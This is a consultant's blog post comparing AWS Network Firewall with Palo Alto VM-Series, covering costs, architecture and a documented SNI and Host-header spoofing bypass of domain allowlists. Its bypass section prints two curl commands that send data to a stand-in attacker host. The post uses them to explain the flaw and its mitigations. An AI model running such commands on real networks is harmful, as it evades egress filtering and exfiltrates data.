I've deployed both AWS Network Firewall and Palo Alto VM-Series firewalls in production AWS environments. Security VPC architectures for enterprise clients across automotive, government, and cultural sectors - some with AWS Network Firewall, others with Palo Alto VM-Series behind a Gateway Load Balancer.
This is not a feature matrix from a vendor website. This is what I found after running both, what surprised me, and what you should know before choosing.
The short version
AWS Network Firewall is good enough for most workloads. It's native, managed, and cheap to start with. But it has a documented egress filtering bypass that lets an attacker circumvent your domain allowlist with a single curl command. If you're in a regulated industry or handle sensitive data, you need to understand this before committing.
Palo Alto VM-Series catches things AWS Network Firewall doesn't - but you pay for it in complexity, cost, and operational overhead. It's not a slam dunk either.
Where AWS Network Firewall works well
Let's start with what AWS gets right, because it gets a lot right.
Zero infrastructure to manage. No EC2 instances, no patching, no sizing. You create a firewall, attach it to a VPC, and it works. It scales automatically - there's no capacity planning conversation.
Native integration. Route tables, VPC, Transit Gateway - everything is first-party. No Gateway Load Balancer gymnastics, no GENEVE tunnels to debug. AWS Firewall Manager lets you deploy policies across an entire AWS Organization from a single place.
Suricata under the hood. The stateful engine runs Suricata rules, which means you can use any compatible threat intelligence feed. If your team already knows Suricata, the learning curve is minimal.
Cost for basic use cases. At $0.395/hour per endpoint plus $0.065/GB processed, it's cheaper than VM-Series for low-to-medium traffic volumes. No license fees, no subscriptions.
For a startup running a few services in a single VPC, or an internal application with basic egress filtering, AWS Network Firewall is perfectly adequate.
The egress filtering bypass that changes the conversation
Here's where things get interesting. In September 2023, security researcher Jianjun Huo documented a bypass in AWS Network Firewall's domain-based egress filtering. The vulnerability was also cataloged on Hacking the Cloud, a well-known AWS security research resource.
How it works
AWS Network Firewall uses the Server Name Indication (SNI) extension in TLS handshakes to determine which domain a client is connecting to. When you create a domain allowlist - say, only permit traffic to *.amazonaws.com and updates.example.com - the firewall checks the SNI field against your list.
The problem: the firewall does not verify that the destination IP address actually belongs to the domain declared in the SNI. AWS documentation explicitly states this:
"Network Firewall doesn't pause connections to do out-of-band DNS lookups."
This means an attacker (or malware) inside your VPC can do this:
# HTTP bypass - spoof the Host header
curl -H "Host: updates.example.com" http://attacker-controlled-ip.com/exfiltrate
# HTTPS bypass - spoof the SNI
curl --resolve "updates.example.com:443:attacker-ip" \
https://updates.example.com/exfiltrate --insecure
The firewall sees updates.example.com in the SNI, checks it against the allowlist, and lets the traffic through. The actual TCP connection goes to the attacker's IP. Data exfiltrated. Allowlist bypassed.
This is not a theoretical attack. It's a documented technique used in post-exploitation scenarios, and it's closely related to domain fronting - a technique cataloged in the MITRE ATT&CK framework under T1090.004.
The mitigation - and its gaps
AWS added TLS inspection to Network Firewall, and as of early 2025, enabling TLS inspection blocks SNI spoofing by default. When TLS inspection is active, the firewall validates that the server certificate's domain matches the SNI in the client hello. If they don't match, the connection is dropped.
This is good. But it comes with significant caveats:
1. TLS 1.3 Encrypted Client Hello (ECH) and Encrypted SNI (ESNI) are not supported.
From the official AWS documentation:
"Traffic encrypted using TLS v1.3 Encrypted SNI and Encrypted Client Hello extensions aren't supported."
When Network Firewall encounters a client hello without a visible SNI (because it's encrypted), it closes the connection with a RST packet. So you get security - but at the cost of breaking legitimate traffic that uses ECH. As ECH adoption grows (and it is growing - major browsers and CDN providers are rolling it out), this becomes a bigger compatibility problem.
2. QUIC (UDP-based transport) is not inspectable.
HTTP/3 runs over QUIC. AWS Network Firewall cannot inspect QUIC traffic. The recommended workaround? Block UDP/443 entirely and force applications back to TCP. That works, but it's a blunt instrument.
3. TLS inspection adds cost and complexity.
Enabling TLS inspection bumps the endpoint cost from $0.395/hour to $0.489/hour. You also need to deploy and manage CA certificates on every host that sends traffic through the firewall - or accept that you're only inspecting a subset of your traffic.
4. Existing connections are dropped when you enable TLS inspection.
Adding TLS inspection to a running firewall interrupts existing traffic flows. This means you can't just flip it on during business hours.
How Palo Alto handles the same scenario
Palo Alto VM-Series approaches this differently at a fundamental level.
App-ID vs port-based filtering
AWS Network Firewall classifies traffic by port, protocol, and domain (via SNI/Host header). Palo Alto's App-ID classifies traffic by application identity, regardless of port. It inspects packet payloads, analyzes behavioral patterns, and matches traffic against a library of thousands of application signatures.
This means App-ID can tell the difference between "legitimate HTTPS to aws.amazon.com" and "reverse shell tunneled over port 443 pretending to be HTTPS to aws.amazon.com." Port 443 is port 443 to AWS Network Firewall. To Palo Alto, they're two completely different applications.
Built-in domain fronting detection
Starting with PAN-OS 10.2, Palo Alto firewalls with Threat Prevention or Advanced Threat Prevention can detect domain fronting attempts. When the domain in the SNI field differs from the HTTP Host header, the firewall generates a threat log entry with threat ID 86467 (classified as a Spyware signature).
This is exactly the attack that bypasses AWS Network Firewall's domain filtering.
The detection works because Palo Alto inspects both the certificate's Common Name / Subject Alternative Name fields AND the SNI, and can automatically deny sessions where they don't match. AWS Network Firewall only gained similar capability through TLS inspection - and as noted above, with limitations.
What Palo Alto doesn't solve
I'm not going to pretend VM-Series is perfect. Here's what you're signing up for:
You manage EC2 instances. VM-Series runs on EC2. You're responsible for instance sizing, patching PAN-OS, HA configuration, and monitoring. When Palo Alto releases a critical security update (and they do - CVE-2024-9468 was a DoS vulnerability in the threat prevention engine), you're the one applying it.
Gateway Load Balancer complexity. The recommended production architecture uses a centralized Security VPC with a Gateway Load Balancer distributing traffic across VM-Series instances. This means GENEVE encapsulation, appliance mode on Transit Gateway attachments, four separate subnets per AZ in the Security VPC (management, data, TGW, public), and careful route table configuration. It works beautifully when set up correctly. Getting there is not trivial.
Cost. A VM-Series PAYG instance on the AWS Marketplace starts at $1.71/hour for a c5n.xlarge (the recommended instance type). That's the software license alone - add the EC2 instance cost on top. For HA (which you want in production), double it. For multi-AZ, multiply again.
Domain fronting detection requires SSL Decryption. Threat ID 86467 only works when the traffic is decrypted - either through SSL Forward Proxy or SSL Inbound Inspection. Without decryption, the firewall can't see the HTTP Host header to compare it against the SNI. By default, the signature action is allow with informational severity - you need to explicitly create a threat exception to block it.
The cost math
Let's compare a realistic production scenario: a centralized Security VPC in eu-central-1, two AZs, processing 500 GB of traffic per month.
AWS Network Firewall (with TLS inspection)
| Component | Monthly cost |
|---|---|
| 2 firewall endpoints x $0.489/h x 730h | $714 |
| 500 GB x $0.065/GB | $33 |
| Total | ~$747/month |
Palo Alto VM-Series (PAYG, HA pair)
| Component | Monthly cost |
|---|---|
| 2 x VM-Series license x $1.71/h x 730h | $2,497 |
| 2 x c5n.xlarge EC2 x ~$0.34/h x 730h | $496 |
| Gateway Load Balancer x $0.0125/h x 730h | $9 |
| GWLB data x $0.004/GB x 500 GB | $2 |
| Total | ~$3,004/month |
That's a 4x cost difference. For some organizations, the additional security capabilities justify this. For others, they absolutely don't.
The breakeven conversation is not about GB processed - it's about what a security incident would cost you. If you're a fintech handling payment data, $3,000/month for a firewall that can actually detect domain fronting is cheap. If you're running internal dev tooling, AWS Network Firewall with TLS inspection is plenty.
When to use which
| Scenario | Recommendation | Why |
|---|---|---|
| Internal workloads, basic egress filtering | AWS Network Firewall | Simple, cheap, managed |
| Multi-VPC with centralized inspection | Either - depends on budget | Both support Transit Gateway architectures |
| PCI-DSS, HIPAA, SOX compliance | VM-Series | App-ID, granular logging, proven compliance track record |
| Hybrid cloud (AWS + on-prem) | VM-Series | Same policies, same Panorama management plane |
| Domain fronting / C2 detection required | VM-Series | Built-in detection (Threat ID 86467) |
| Budget under $1,000/month for firewall | AWS Network Firewall | VM-Series can't compete on price |
| Team without Palo Alto expertise | AWS Network Firewall + TLS inspection | VM-Series has a learning curve |
| Existing Palo Alto on-prem investment | VM-Series | Reuse policies, skills, and Panorama |
What I actually recommend to clients
I don't tell every client to deploy Palo Alto. That would be irresponsible.
For most startups and SMBs I work with, I recommend AWS Network Firewall with TLS inspection enabled from day one. It covers 90% of use cases, costs a fraction of VM-Series, and doesn't require specialized Palo Alto expertise to maintain.
But I always make sure they understand what it doesn't catch. I walk them through the SNI bypass scenario. I explain the ECH/QUIC gaps. And if they're in a regulated industry, or if they've had a security incident involving data exfiltration, or if they already run Palo Alto on-premises - then we talk about VM-Series and the centralized Security VPC architecture with Gateway Load Balancer.
The worst outcome is deploying AWS Network Firewall with a domain allowlist and believing you're protected against data exfiltration. You're not. You're protected against accidental connections to the wrong domain. A determined attacker will walk right through it without TLS inspection - and even with TLS inspection, there are gaps.
Security architecture is about understanding what your controls actually stop, and what they don't.
Sources
- Jianjun Huo, "AWS Network Firewall egress filtering can be easily bypassed", September 2023 (updated February 2025)
- Hacking the Cloud, "AWS Network Firewall Egress Filtering Bypass"
- AWS Documentation, "TLS inspection considerations"
- AWS, "Network Firewall Pricing"
- AWS re:Post, "Prevent AWS Network Firewall host header spoofing"
- MITRE ATT&CK, "Domain Fronting T1090.004"
- Palo Alto Networks, "Domain Fronting Detection - PAN-OS 10.2"
- Palo Alto Networks, "How Palo Alto Networks identifies HTTPS applications without decryption"
- Palo Alto Networks, "VM-Series Integration with AWS Gateway Load Balancer"
- AWS Marketplace, "VM-Series Next-Gen Virtual Firewall PAYG"
- Palo Alto Networks LIVEcommunity, "How to detect domain fronting"
Designing a Security VPC for AWS with centralized traffic inspection? I've done this for enterprise clients across multiple industries. Let's talk.
Top comments (0)